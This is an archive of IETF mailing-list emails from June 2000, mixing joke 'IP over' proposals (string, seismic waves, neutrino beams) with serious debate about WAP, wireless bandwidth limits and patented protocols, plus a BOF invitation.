Cc: bmanning@ISI.EDU, deering@cisco.com, bkumar@ENNOVATENETWORKS.COM,
        moore@cs.utk.edu, Johnny.Taylor@ESPIRE.NET, dee3@torque.pothole.com,
        ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
In-Reply-To: <p04320432b577b0bf3f96@[192.168.124.95]>
References: <p04320403b5774f7a6520@[192.168.124.95]>
	<20000622133740F.magda@netinsight.se>
	<p04320432b577b0bf3f96@[192.168.124.95]>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-8859-1
Message-Id: <20000622144554K.magda@netinsight.se>
Date: Thu, 22 Jun 2000 14:45:54 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 48
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA02347
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

From: Patrik Fältström  <paf@swip.net>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Thu, 22 Jun 2000 14:02:56 +0200

> At 13.37 +0200 00-06-22, Magnus Danielson wrote:
> >  > 1926 An Experimental Encapsulation of IP Datagrams on Top of ATM. J.
> >>        Eriksson. April 1996. (Format: TXT=2969 bytes) (Status:
> >>        INFORMATIONAL)
> >
> >I still havent found a working implementation of this. Any references?
> >Did the channel selection ever get automated?
> 
> I know that Peter Deutch at then Bunyip was working on a slightly 
> different, but similar, proposal which was to run IP over a string. I 
> guess that if he is on this list, he can explain.

I know of succesfull lab tests with running MPEG video over strings, for short
distances you can reach several megabits. The downside is that the distance
damping is great so it is not a solution for the last mile, it is more a
solution for the last meter or so. The benefit of this technology is that you
can hear the traffic load over the string as a side consequence of the
transmission mode. A good string has considerable more bandwidth than free air
transmissions. The good point about building networks over strings is that the
medium naturally causes the distance to be short so that the distance between
the boxes becomes smaller. This naturally brings down the feasable number of
boxes and the protocols can be simplified since you no longer have as sever
scaling problems. Excess bandwidth through the wire may cause heating, so one
has to select a string of suitable material or else it will convert itself to
a fire wire.

Cheers,
Magnus



From owner-ietf-outbound  Thu Jun 22 09:10:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA04789
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 09:10:03 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04552
	for <ietf@ietf.org>; Thu, 22 Jun 2000 09:03:13 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id JAA01512
	for <ietf@ietf.org>; Thu, 22 Jun 2000 09:03:13 -0400
Sender: francis@localhost.localdomain
Message-ID: <39520E90.D44DA3D3@ecal.com>
Date: Thu, 22 Jun 2000 09:03:12 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
References: <200006220123.SAA12015@boreas.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Bill Manning wrote:

>         And the draft on IP over seismic waves is due any day now.

Security Considerations: since the most effective way to generate seismic
waves is with a nuclear device, users of this protocol can expect to be
secured by their governments for a very long time.

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |Organ transplants are best left to the       |
|francis@ecal.com|professionals.                               |
\==============================================================/





From owner-ietf-outbound  Thu Jun 22 10:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA06111
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 10:00:02 -0400 (EDT)
Received: from ernst.netinsight.se ([212.209.170.195])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA06074
	for <ietf@ietf.org>; Thu, 22 Jun 2000 09:59:33 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000737014@ernst.netinsight.se>;
 Thu, 22 Jun 2000 15:57:39 +0200
To: francis@ecal.com
Cc: ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
In-Reply-To: <39520E90.D44DA3D3@ecal.com>
References: <200006220123.SAA12015@boreas.isi.edu>
	<39520E90.D44DA3D3@ecal.com>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000622155856B.magda@netinsight.se>
Date: Thu, 22 Jun 2000 15:58:56 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 22
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: John Stracke <francis@ecal.com>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
Date: Thu, 22 Jun 2000 09:03:12 -0400

> Bill Manning wrote:
> 
> >         And the draft on IP over seismic waves is due any day now.
> 
> Security Considerations: since the most effective way to generate seismic
> waves is with a nuclear device, users of this protocol can expect to be
> secured by their governments for a very long time.

This sounds like a protocol which would not run popular in California or else
they will communicate themselfs of the US west coast. Also, isn't the long
range devices under international non-spread agreements? Some implementations
is certainly under strict legal control due to their technology.

Will the draft cover the usage of Modified Time Interval Encoding (MTIE)?

Cheers,
Magnus



From owner-ietf-outbound  Thu Jun 22 11:00:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA07394
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 11:00:02 -0400 (EDT)
Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07326
	for <ietf@ietf.org>; Thu, 22 Jun 2000 10:57:20 -0400 (EDT)
Received: from gungnir.fnal.gov (localhost [127.0.0.1])
	by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id JAA27254;
	Thu, 22 Jun 2000 09:57:05 -0500 (CDT)
Message-Id: <200006221457.JAA27254@gungnir.fnal.gov>
To: Bill Manning <bmanning@ISI.EDU>
Cc: deering@cisco.com (Steve Deering), dee3@torque.pothole.com, ietf@ietf.org
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-reply-to: Your message of Wed, 21 Jun 2000 18:23:08 PDT.
             <200006220123.SAA12015@boreas.isi.edu> 
Date: Thu, 22 Jun 2000 09:57:05 -0500
Sender: crawdad@gungnir.fnal.gov
X-Loop: ietf@ietf.org

> 	Did the IESG depricate IP over Avian Carrier when I blinked?
> 	And the draft on IP over seismic waves is due any day now.

Consider the possibilities of a neutrino beam -- no media costs and
lower latency than direct point-to-point fiber.

http://www-numi.fnal.gov:8875/overview/overview.html
http://www.hep.anl.gov/ndk/postscript/numil337_3.pdf  (page 5)
http://www-numi.fnal.gov:8875/fnal_minos/physics/Superposition1.html
http://www.hep.umn.edu/minos/images.html



From owner-ietf-outbound  Thu Jun 22 11:40:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA08669
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 11:40:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08587
	for <ietf@ietf.org>; Thu, 22 Jun 2000 11:35:44 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id LAA22254
	for <ietf@ietf.org>; Thu, 22 Jun 2000 11:35:14 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: <ietf@ietf.org>
Subject: RE: WAP and IP
Date: Thu, 22 Jun 2000 11:39:11 -0400
Message-ID: <019101bfdc60$03e873c0$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <39512E1E.88CF97AA@acm.org>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


There were quite lot of responses to my mail on this topic so here is
what I have to say. It is hard to defend the WAP as only possible
solution or the most elegant solution for any one. Though in the past
few years I spent quite lot of time thinking about how to make data
applications run with little change on different wireless technologies
(that includes CDPD, DataTECH (aka, ARDIS),  GPRS, FLEX/ReFLEX
messaging systems, GSM/CDMA - IWUs, and of course  how to use SMS more
usefully). I am no longer concerned whether WAP succeeds, or is
replaced by something else. I believe that quite lot of misgivings
about WAP comes from the people who only take a partial view of the
problems - that is if you put TCP and IP magically on today's wireless
devices than every thing will be hunky-dory. Wrong. Let us restrict
our discussion to what is *CURRENTLY available rather than the next
generation networks* (note emphasis here).

RF spectrum is pre-allocated, channel size and number of available
channels to each carrier are pre-defined, cell channel configurations
are difficult to change, and all communication has to take place
within these constraints. If you ignore this reality, there is nothing
to discuss because than we are talking on imaginary planes.

Let us take case of a CDPD device that has a IP address. CDPD has one
of the largest coverage in US and is geared for data communication.
Now CDPD works at 19.2 Kbps, and uses spare capacity from AMPs
channel, and when no channel is available that a device looks for
voice gaps in other channels to send data. I measured losses of a CDPD
channel many many years ago (using a MDIS for which I wrote the code
;-)), and I noticed that packet loss could be as much as 3 %. CDPD
modem that I used gave me about 1100 byte throughput using TCP (well,
half the channel went in framing overheads of the MDLP and over the
air protocol, and TCP slow starts.). With these kind of losses TCP
throughput tanks!. So we need a wireless medium aware version of TCP
or some hacks for TCP to be efficient under losses (see relevant
literature). Also note quite lot of communication between wireless
device and the network happens in the  background without a user being
aware of it. So he can turn off his device any time, or remove its
batteries to clean the nodes. I believe, TCP apps don't take this
behaviour very kindly :-).

Now for a moment forget about allocating IP addresses to 60 million
plus cellular phones and 20 millions or so other wireless devices in
US (I may be wrong in these numbers by millions). IP with NAT is not a
true solution, as it is not possible to initiate communication between
two end points without a proxy mediator, or unless the address of the
one of the end points is fixed, and known to other party.

Now a typical web page with all its glorious graphics is about 50-400
Kbytes. Just compute how many seconds it will take to load on
currently available wireless channel speeds. Mail enclosures can be in
Megabytes. Faxes can be even lot larger. Let us assume that a cellular
network has some rich techno folks that are willing to pay $0.50 per
minute to browse web using cellular modems. But the longer a customer
stays, the service is being degraded to other customers in the cell as
channels are being occupied by a single customer. Is it good make many
customers happy, or bother about one rich online junkie? Therefore,
there is a clear CURRENT need to restrict amount of information from
over all system point of view, even though some of the customers may
be able to pay for it.

And also note that not all mass marketed devices have memory to
implement TCP/IP in all its glory or store mammoth size Web pages or
email locally on the device. When Palm pilot with 16 Mbytes with built
is microphone and speaker will sell for $39.95, that will be different
case. Of course some current RF medium such as ReFLEX network can't
run TCP because many devices need to compete simultaneously for a
channel and continuous allocation of channel is not guaranteed. Add to
that even if there was enough bandwidth, small screen's on some of the
today's devices can't meaningfully display all contents of modern web
sites. So why bother delivering huge graphics and mail enclosures to
these devices. That decision requires some gateway/filters whether WAP
or any other type between wireless and wired side.

As discussed above, there are many constraints to deal with.
Therefore, even though WAP has many problems and perhaps may not be
needed when devices become more powerful and have full implementation
of TCP/IP. It is unlikely even then that wireless channel bandwidth
will *magically become plentiful for ALL*. I don't think WAP is
closing that route for ever, and better channel speeds and more
powerful devices, will make use of WAP on some networks undesirable.
However, note that many people are still doubtful if US carriers will
be able to move from current TDMA networks to the next generation UMTS
in the very near future due to spectrum allocation problems.

Cheers,

--brijesh
(my personal views only)



From owner-ietf-outbound  Thu Jun 22 12:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09266
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 12:20:01 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09164
	for <ietf@ietf.org>; Thu, 22 Jun 2000 12:13:47 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id LAA09082
	for <ietf@ietf.org>; Thu, 22 Jun 2000 11:11:33 -0500 (CDT)
Message-Id: <200006221611.LAA09082@rgfsparc.cr.usgs.gov>
Date: Thu, 22 Jun 2000 11:11:32 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: IP over MIME
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 4IWqz/TgFU8jRuY+SsnKRw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>Consider the possibilities of a neutrino beam -- no media costs and
>lower latency than direct point-to-point fiber.

I think IP over Human Alpha Waves (IP-HAW) might be promising, too.

RGF

Robert G. Ferrell
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Thu Jun 22 12:30:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09456
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 12:30:02 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09327
	for <ietf@ietf.org>; Thu, 22 Jun 2000 12:22:51 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id MAA01340;
	Thu, 22 Jun 2000 12:22:42 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id MAA23928;
	Thu, 22 Jun 2000 12:22:39 -0400 (EDT)
Message-Id: <200006221622.MAA23928@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: "Taylor, Johnny" <Johnny.Taylor@espire.net>
cc: "Donald E. Eastlake 3rd" <dee3@TORQUE.POTHOLE.COM>, ietf@ietf.org,
        brunner@world.std.com
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-Reply-To: Your message of "Wed, 21 Jun 2000 11:48:16 EDT."
             <11C39F7E0407D411AF1000D0B7475FDE4A934F@PNTEXCH04.hq.espire.net> 
Date: Thu, 22 Jun 2000 12:22:39 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org

> I have seen a lot of different people bash WAP over the past two days.
> However, I am a firm believer that WAP will become what IP is to us today.

How nice to have firm belief-systems. What I write here are only my personal
opinions.

I posted Rohit's tour of the tangle when I was at Nokia Research last year.
As Phil pointed out in "The Mystery of the Missing Block Diagram", the WAP
gateway is imagined to be playing the cheery ringing tones of the Las Vegas
Polka. The urge to own the last mile seems beyond rational examination.

Having written XPG/1, and much of XPG/4.2, I experience the sensation of
amazement, even wonder, that a company, or a handful of companies, who have
a staggering installed base -- are disinterested in programatic APIs as a
competitive weapon, and instead position themselves in an unnecessary food
fight with the datagram industry -- the "wireless vs wireline" styling that
leaks out of market leach fields. Personally I'd trade the "last mile" for
the execution platform in a single clock cycle, but this may simply reflect
my X v MS (IBM, AT&T, resp.) experience as milage clearly varries.

A handset is one "M" short of being a 3M device. Needless interposition on
the service model makes it unnecessarily difficult to integrate. I agree
with Phil, the best set of bits to pour onto a 2M device (Symbian, Palm, ...)
is open-generica bits, not closed-(src/svc) bits. The core problem after all
is to make the device useful, to expand the service model, not to maximize
tolls for voice plus trivial digital dorkage.

Since the XXX crowd has managed to lead telephony (and some data) service
model development, I'll re-examine my beliefs when I see the XXX techies
start to run with WAP. I believe in their crystal balls ;-) 

Eric



From owner-ietf-outbound  Thu Jun 22 14:00:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA11757
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 14:00:02 -0400 (EDT)
Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11634
	for <ietf@ietf.org>; Thu, 22 Jun 2000 13:51:31 -0400 (EDT)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA13053;
	Thu, 22 Jun 2000 11:51:33 -0600 (MDT)
Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id KAA19345;
	Thu, 22 Jun 2000 10:51:31 -0700 (PDT)
Received: from mordor (mordor [129.146.120.122])
	by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id KAA21953;
	Thu, 22 Jun 2000 10:51:30 -0700 (PDT)
Date: Thu, 22 Jun 2000 10:51:01 -0700 (PDT)
From: "pcalhoun@eng.sun.com" <Pat.Calhoun@eng.sun.com>
Reply-To: "pcalhoun@eng.sun.com" <Pat.Calhoun@eng.sun.com>
Subject: Common Radio Access Protocol Set (CRAPS) BOF
To: ietf@ietf.org
Cc: Phillip.Neumiller@Motorola.com, Pat.Calhoun@eng.sun.com
Message-ID: <Roam.SIMC.2.0.6.961696261.18327.pcalhoun@nasnfs.eng>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Loop: ietf@ietf.org


Given that the CRAPS BOF announcement has been sent out by Scott, Phil and I
would like to send out an invitation to anyone that wishes to have a slot at
the BOF in Pittsburgh. However, given that we have little face to face time,
we would stress that we are interested in "presentations" that discuss the
problem space and issues that should be addressed by the proposed WG.
Protocol-related presentations are not appropriate for BOFs, since the
intention is not to figure out how to fix the problem, but rather to
understand what the problem is, and whether the IETF should work on the
problem. We have no objections if the "presentations" contain a simple pointer
to a protocol related Internet-Draft.

If you are interested in a slot at the BOF, please send an e-mail to both
myself (pcalhoun@eng.sun.com) and Phil (Phillip.Neumiller@Motorola.com) with a
title, a short description, any pointers to Internet-Drafts of relevance, and
the amount of time you would need.

Although we cannot guarantee that we will accomodate the amount of time
requested, we will do our best to fit everyone in, while keeping time for the
administravia required in a BOF.

For those of you interested in the work being proposed in CRAPS, you may join
the mailing list by sending an e-mail to craps-request@cdma-2000.org, and
including "subscribe [e-mail]" in the body (do not include the quotes).


Thanks,

PatC & Phil



From owner-ietf-outbound  Thu Jun 22 14:20:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA12224
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 14:20:04 -0400 (EDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12130
	for <ietf@ietf.org>; Thu, 22 Jun 2000 14:15:18 -0400 (EDT)
Received: from mira-sjcd-1.cisco.com (mira-sjcd-1.cisco.com [171.69.43.44])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA24625
	for <ietf@ietf.org>; Thu, 22 Jun 2000 11:15:00 -0700 (PDT)
Received: from ckaekel-lap (dhcp-171-68-135-173.cisco.com [171.68.135.173])
	by mira-sjcd-1.cisco.com (Mirapoint)
	with SMTP id ABE02099;
	Thu, 22 Jun 2000 11:14:47 -0700 (PDT)
Message-Id: <4.1.20000622110418.00ad75d0@mira-sjcd-1.cisco.com>
X-Sender: ckaekel@mira-sjcd-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Thu, 22 Jun 2000 11:09:18 -0700
To: ietf@ietf.org
From: Chuck Kaekel <ckaekel@cisco.com>
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
In-Reply-To: <200006221457.JAA27254@gungnir.fnal.gov>
References: <Your message of Wed, 21 Jun 2000 18:23:08 PDT.             <200006220123.SAA12015@boreas.isi.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

It's my understanding that disturbances in The Force
were actually routed  using an ancient precursor to IP.

C_____

At 09:57 AM 6/22/00 -0500, Matt Crawford wrote:
>> 	Did the IESG depricate IP over Avian Carrier when I blinked?
>> 	And the draft on IP over seismic waves is due any day now.
>
>Consider the possibilities of a neutrino beam -- no media costs and
>lower latency than direct point-to-point fiber.
>
>http://www-numi.fnal.gov:8875/overview/overview.html
>http://www.hep.anl.gov/ndk/postscript/numil337_3.pdf  (page 5)
>http://www-numi.fnal.gov:8875/fnal_minos/physics/Superposition1.html
>http://www.hep.umn.edu/minos/images.html
>


Chuck Kaekel
ckaekel@cisco.com



From owner-ietf-outbound  Thu Jun 22 15:20:38 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA13468
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 15:20:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13398
	for <ietf@ietf.org>; Thu, 22 Jun 2000 15:14:25 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id PAA00136;
	Thu, 22 Jun 2000 15:13:53 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Chuck Kaekel'" <ckaekel@CISCO.COM>, <ietf@ietf.org>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
Date: Thu, 22 Jun 2000 15:17:49 -0400
Message-ID: <01a001bfdc7e$8e4d8be0$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <4.1.20000622110418.00ad75d0@mira-sjcd-1.cisco.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


Chuck writes,

> It's my understanding that disturbances in The Force
> were actually routed  using an ancient precursor to IP.
>
I don't know about it, but the myth goes that ET communicated with his
folks using IP :-). The captured packet trace is
"UndecodableDatalink:IPheader:TCPheader:"ET go home""

Cheers,

--brijesh



From owner-ietf-outbound  Thu Jun 22 15:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA13694
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 15:30:02 -0400 (EDT)
Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13603
	for <ietf@ietf.org>; Thu, 22 Jun 2000 15:24:21 -0400 (EDT)
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate2.mot.com (motgate2 2.1) with ESMTP id MAA19848 for <ietf@ietf.org>; Thu, 22 Jun 2000 12:24:21 -0700 (MST)]
Received: [from il93exb01.css.mot.com (il93exb01.css.mot.com [144.188.38.171]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id MAA15642 for <ietf@ietf.org>; Thu, 22 Jun 2000 12:24:21 -0700 (MST)]
Received: by il93exb01.css.mot.com with Internet Mail Service (5.5.2650.21)
	id <M6VDWBBD>; Thu, 22 Jun 2000 14:24:21 -0500
Message-ID: <6124D6EB081DD311B9210008C791859504160C6D@il93exm01.css.mot.com>
From: Lee John-W15376 <John.H.Lee@motorola.com>
To: "'bkumar@ennovatenetworks.com'" <bkumar@ennovatenetworks.com>,
        "'Chuck Kaekel'" <ckaekel@CISCO.COM>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
Date: Thu, 22 Jun 2000 14:24:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

nice call

--john

> -----Original Message-----
> From: Brijesh Kumar [mailto:bkumar@ennovatenetworks.com]
> Sent: Thursday, June 22, 2000 3:18 PM
> To: 'Chuck Kaekel'; ietf@ietf.org
> Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
> 
> 
> 
> Chuck writes,
> 
> > It's my understanding that disturbances in The Force
> > were actually routed  using an ancient precursor to IP.
> >
> I don't know about it, but the myth goes that ET communicated with his
> folks using IP :-). The captured packet trace is
> "UndecodableDatalink:IPheader:TCPheader:"ET go home""
> 
> Cheers,
> 
> --brijesh
> 



From owner-ietf-outbound  Thu Jun 22 15:50:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA14301
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 15:50:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA14214
	for <ietf@ietf.org>; Thu, 22 Jun 2000 15:48:59 -0400 (EDT)
Received: (qmail 18324 invoked by uid 100); 22 Jun 2000 19:48:07 -0000
Date: 22 Jun 2000 19:48:07 -0000
Message-ID: <20000622194807.18323.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: L.Wood@eim.surrey.ac.uk
Cc: John Stracke <francis@ecal.com>, IETF Mailing List <ietf@ietf.org>
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <Pine.GSO.4.21.0006201717460.5385-100000@regan.ee.surrey.ac.uk>
References: <394F885D.FBF3D18E@ecal.com>
	<Pine.GSO.4.21.0006201717460.5385-100000@regan.ee.surrey.ac.uk>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Tue, 20 Jun 2000 19:02:39 +0100 (BST), Lloyd Wood <l.wood@eim.surrey.ac.uk> said:

  Lloyd> And from that anti-WAP polemic:

  Mohsen> We gratefully acknowledge the assistance of the
  Mohsen> following persons in the preparation and review of
  Mohsen> this document:  Andrew Hammoude, Richard Stallman,
  Mohsen> Bill Frezza and Rob Mechaley.

  Lloyd> it's rms's 'do not use Tcl because I say so' all over again!

Please target ALL your criticisms of "The WAP Trap" to it author,
Mohsen Banan. I wrote that paper. The paper represents my positions.

The heart of "The WAP Trap" revolves around patented protocols.

RMS's involvement in the Free Protocols Foundation is centered around
the harm of patented protocols. That is consistent with his track
record and leadership on this issue.

Do you have anything against patent-free protocols and in favor of
patented protocols?

If not, then you, RMS and I are on the same side of this issue.


  Lloyd> will be quite happy if WAP fails on its own merits, thankyouverymuch.

WAP will fail on its own merit.

The main issue here is "patents" and "protocols".

Most of the discussions on the IETF list so far has been techie-talk.


I also want to worry about the bigger picture.

Should we just wait for the next WAP, where businessmen and marketeers
pull another fast one on the industry?


My paper says that we can take certain steps to prevent that. 


...Mohsen.




From owner-ietf-outbound  Thu Jun 22 16:10:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA14585
	for ietf-outbound.10@ietf.org; Thu, 22 Jun 2000 16:10:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14522
	for <ietf@ietf.org>; Thu, 22 Jun 2000 16:03:23 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 135DC0-0000cR-00; Thu, 22 Jun 2000 21:03:16 +0100
Date: Thu, 22 Jun 2000 21:03:13 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <20000622194807.18323.qmail@tooran.byname.net>
Message-ID: <Pine.GSO.4.21.0006222051420.22920-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On 22 Jun 2000, Mohsen BANAN-Public wrote:

> Please target ALL your criticisms of "The WAP Trap" to it author,
> Mohsen Banan. I wrote that paper. The paper represents my positions.

Since that paper is published by the Free Protocols Foundation, one
might assume that it is endorsed by the FPF, and that the positions
stated are, where not disclaimed, those of the FPF.

L.

